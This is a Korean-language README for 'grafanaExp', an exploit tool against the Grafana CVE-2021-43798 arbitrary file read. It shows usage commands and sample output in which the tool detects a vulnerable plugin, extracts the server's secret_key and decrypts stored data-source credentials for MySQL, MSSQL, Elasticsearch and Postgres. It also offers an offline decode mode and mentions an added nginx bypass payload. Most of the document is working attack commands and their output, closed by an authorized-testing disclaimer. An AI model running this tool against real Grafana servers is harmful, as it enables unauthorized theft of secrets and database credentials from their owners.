
Grafana의 인가되지 않은 임의 파일 읽기 취약점(CVE-2021-43798)을 위한 익스플로잇 도구로, 플러그인을 폭파(추출)하고 secret_key를 추출하며 data_source 정보를 자동으로 복호화합니다.
Grafana CVE-2021-43798 임의 파일 읽기 취약점을 이용하여, 취약점 존재 여부, 존재하는 plugin, 키 추출, 서버 측 db 파일 복호화를 자동으로 탐지하고 data_sourrce 정보를 출력합니다.
exp 및 decode 기능을 제공합니다.
➜ ./grafanaExp -h
NAME:
grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read.
USAGE:
grafanaExp [global options] command [command options] [arguments...]
AUTHOR:
A&D-Team
COMMANDS:
exp -u [url] -p [plugin] -c [config] -d [db] -k [key]
decode decode -f [dbfile] -k [key]
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--help, -h show help (default: false)
취약점 존재 여부, 존재하는 plugin, 키 추출, 서버 측 db 파일 복호화를 자동으로 탐지하고 data_souce 정보를 출력합니다:
➜ ./grafanaExp exp -u http://localhost:3000/
2021/12/07 22:19:10 Target vulnerable has plugin [alertlist]
2021/12/07 22:19:10 Get secret_key [SW2YcwTIb9zpOOhoPsMm]
2021/12/07 22:19:10 type:[mysql] name:[MySQL_01] url:[test.mysql.io:3306] user:[root] password[rootpassword] database:[test_dbname] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 type:[mssql] name:[Mssql_01] url:[test_sqlserver:1433] user:[admin] password[adminpassword] database:[db_sqlserver] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 type:[elasticsearch] name:[es_01] url:[http://localhost:9200] user:[] password[] database:[] basic_auth_user:[basic_user] basic_auth_password:[basic_pass]
2021/12/07 22:19:10 type:[postgres] name:[Postgre_01] url:[Postgre_01:5432] user:[pppp] password[sssswwwww] database:[postgredb] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 All Done, have nice day!
DB 파일이 너무 큰 경우 로컬에 다운로드한 후 로컬에서 복호화할 수 있습니다:
➜ ./grafanaExp decode -f grafana.db -k SW2YcwTIb9zpOOhoPsMm
2021/12/07 23:00:20 type:[mysql] name:[MySQL_01] url:[test.mysql.io:3306] user:[root] password[rootpassword] database:[test_dbname] basic_auth_user:[] basic_auth_password:[]
2021/12/07 23:00:20 type:[mssql] name:[Mssql_01] url:[test_sqlserver:1433] user:[admin] password[adminpassword] database:[db_sqlserver] basic_auth_user:[] basic_auth_password:[]
2021/12/07 23:00:20 type:[elasticsearch] name:[es_01] url:[http://localhost:9200] user:[] password[] database:[] basic_auth_user:[basic_user] basic_auth_password:[basic_pass]
2021/12/07 23:00:20 type:[postgres] name:[Postgre_01] url:[Postgre_01:5432] user:[pppp] password[sssswwwww] database:[postgredb] basic_auth_user:[] basic_auth_password:[]
1, https 지원 (어제 추가하지 않았는데, transport에 이상한 문제가 있어서)
2, darwin 실행 파일 추가
3, nginx 우회 payload 추가 (net/http를 약간 수정)
이 프로그램은 승인된 보안 테스트 및 연구 목적으로만 사용해야 합니다.